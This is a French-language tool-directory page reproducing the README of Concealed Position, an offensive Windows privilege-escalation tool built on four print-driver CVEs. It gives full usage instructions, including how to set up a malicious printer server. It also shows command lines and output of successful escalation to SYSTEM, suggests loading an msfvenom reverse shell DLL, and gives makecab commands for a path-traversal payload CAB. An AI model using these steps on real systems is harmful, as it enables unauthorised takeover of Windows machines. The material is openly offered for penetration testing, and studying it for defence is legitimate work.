Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
concealed_position — Apportez votre propre outil d'escalade de privilèges de pilote d'impression | Kitploit
Outils/GitHubGitHub/jacob-baines/concealed_position
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'Intrusion
GitHubjacob-baines/concealed_position

concealed_position

Apportez votre propre outil d'escalade de privilèges de pilote d'impression

Voir le dépôt
26344il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Concealed Position

Concealed Position est une attaque d'élévation de privilèges locaux contre Windows utilisant le concept de "Bring Your Own Vulnerability". Plus précisément, Concealed Position (CP) utilise la logique de point et impression de package telle que conçue dans Windows qui permet à un utilisateur à faibles privilèges de préparer et d'installer des pilotes d'imprimante. CP installe spécifiquement des pilotes présentant des vulnérabilités connues qui sont ensuite exploitées pour escalader vers SYSTEM. Concealed Position a été présenté pour la première fois à DEF CON 29.

Quels exploits sont disponibles

Concealed Position offre quatre exploits - tous avec des noms aussi stupides :

  • ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
  • RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
  • POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
  • SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE

Les exploits sont intéressants car, à part SLASHINGDAMAGE, ils continueront de fonctionner même après que les problèmes soient corrigés. Le seul mécanisme dont Windows dispose pour empêcher les utilisateurs d'utiliser d'anciens pilotes est de révoquer le certificat du pilote - ce qui n'est pas(?) historiquement fait.

Mais quel exploit dois-je utiliser ?!

Probablement ACIDDAMAGE. RADIANTDAMAGE et POISONDAMAGE sont des conditions de course (pour écraser une DLL) et SLASHINGDAMAGE, espérons-le, est corrigé presque partout.

Comment ça marche ?

Concealed Position comporte deux parties. Une imprimante malveillante et un client. Le client se connecte au serveur, récupère un pilote, fait stocker le pilote dans le magasin de pilotes, installe l'imprimante et exploite le processus d'installation. Facile ! Dans le langage MSAPI, l'attaque ressemble à ceci :

root@kitploit:~
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver

Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage

Stage 3: Add a local printer (exploitation stage)
client: Add printer

Il est important de noter que SLASHINGDAMAGE ne fonctionne pas réellement comme cela. SLASHINGDAMAGE est une implémentation de l'attaque d'imprimante malveillante décrite à DEFCON 28 (2020) et a été corrigée depuis longtemps. Il se trouve que j'apprécie cette attaque (elle a déclenché le reste de ce développement) et j'ai pensé que je laisserais l'exploit dans mon serveur malveillant... aussi déroutant que cela puisse être.

Est-ce une vulnérabilité Windows ?

On peut soutenir que oui. Le magasin de pilotes est une "collection de confiance de ... packages de pilotes tiers" qui nécessite un accès administrateur pour être modifié. En utilisant GetPrinterDriver, un attaquant à faibles privilèges peut préparer des pilotes arbitraires dans le magasin. Cela, à mon avis, franchit une frontière de sécurité claire.

Microsoft a semblé d'accord lorsqu'ils ont publié CVE-2021-34481.

Cependant... on peut soutenir que ce n'est simplement qu'une fonctionnalité du système et pas du tout une vulnérabilité. Cela n'a pas vraiment d'importance. Un attaquant peut escalader vers SYSTEM sur des installations Windows standard.

Quelles versions de Windows sont affectées par CVE-2021-34481 ?

Au moins Windows 8.1 et versions ultérieures.

Comment utiliser ces outils ?

Simple ! Si simple qu'il y aura beaucoup de paragraphes pour le décrire !

CP Server

Tout d'abord, regardons les options de ligne de commande de cp_server :

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

CLI options:
  -h, --help                     Display the help message
  -e, --exploit arg              The exploit to use
  -c, --cabs arg (=.\cab_files)  The location of the cabinet files

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Ci-dessus, vous pouvez voir que le serveur nécessite deux options :

  1. L'exploit pour lequel configurer l'imprimante
  2. Un chemin vers les cab_files de ce dépôt (.\cab_files\ est le chemin par défaut)

Par exemple, disons que nous voulions configurer une imprimante malveillante qui servirait le pilote ACIDDAMAGE. Il suffit de faire ceci :

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Et voilà, vous verrez une nouvelle imprimante sur votre système :

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Notez qu'il y a une étape manuelle que cp_server vous demande de faire. Parce que je suis un hacker de pacotille, je n'ai pas pu comprendre comment définir par programmation les 'Paramètres de partage avancés' -> 'Désactiver le partage protégé par mot de passe'. Vous devrez le faire vous-même !

Le processus d'utilisation de SLASHINGDAMAGE est un peu différent. Vous devrez d'abord installer CutePDF Writer (trouvez les installateurs dans le répertoire 3rd party). Ensuite, exécutez cp_server et ensuite vous devrez encore suivre quelques étapes manuelles et redémarrer.

CP Client

Le client est tout aussi facile à utiliser. Regardons ses options de ligne de commande :

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

CLI options:
  -h, --help         Display the help message
  -r, --rhost arg    The remote evil printer address
  -n, --name arg     The remote evil printer name
  -e, --exploit arg  The exploit to use
  -l, --local        No remote printer. Local attack only.
  -d, --dll arg      Path to user provided DLL to execute.

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

Tout d'abord, j'aimerais aborder l'option --dll. Le client a une charge utile intégrée qui écrira simplement le fichier C:\result.txt. Cependant, les utilisateurs peuvent fournir leur propre DLL via cette option. Un bon exemple de quelque chose que vous pourriez vouloir utiliser est un shell inverse x64 produit par msfvenom. Mais pour le reste, nous supposerons simplement la charge utile intégrée.

cp_client a deux modes : distant et local. L'option distante est la plus intéressante car elle ajoute le pilote vulnérable au magasin de pilotes (exécutant ainsi la vulnérabilité 'apportez votre propre pilote d'impression'), donc nous allons commencer par celle-ci. Disons que je veux me connecter à l'imprimante malveillante ACIDDAMAGE que nous avons configurée précédemment. J'ai juste besoin de fournir :

  1. L'exploit que je veux utiliser
  2. L'adresse IP de l'imprimante malveillante
  3. Le nom de l'imprimante partagée malveillante

Comme ceci !

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

C'est tout ! Pour exécuter une attaque uniquement locale, il suffit de fournir l'exploit :

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Pourquoi le client n'a-t-il pas d'option SLASHINGDAMAGE ?

SLASHINGDAMAGE n'a pas besoin d'un client spécial pour l'exploitation. Vous pouvez simplement utiliser l'interface utilisateur ou la ligne de commande pour vous connecter à l'imprimante distante et c'est tout ! Malheureusement, si vous voulez créer une charge utile personnalisée, vous devrez mettre à jour le CAB dans le répertoire cab_files. Mais c'est facile. Quelque chose comme ceci :

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

Il est probablement important de savoir que la version de SLASHINGDAMAGE dans le dépôt dépose ualapi.dll dans SYSTEM32 et, lorsqu'elle est exécutée au redémarrage, elle dépose le fichier C:\result.txt.

Pull Requests et Bugs

Voulez-vous soumettre une pull request ou signaler un bug ? Super ! Je l'apprécie, mais si vous ne fournissez pas suffisamment de détails pour reproduire un bug ou expliquer pourquoi une pull request devrait être acceptée, il y a 100% de chance que je ferme votre problème sans commentaire. Je vous apprécie, mais je suis aussi assez occupé.

Autres choses

Une chose à noter est que la DLL inject_me est en fait intégrée dans cp_client sous forme de tableau C. Si vous mettez à jour inject_me, vous devrez également mettre à jour manuellement le tableau C (utilisez simplement xxd pour générer le tableau).

Télécharger l’outil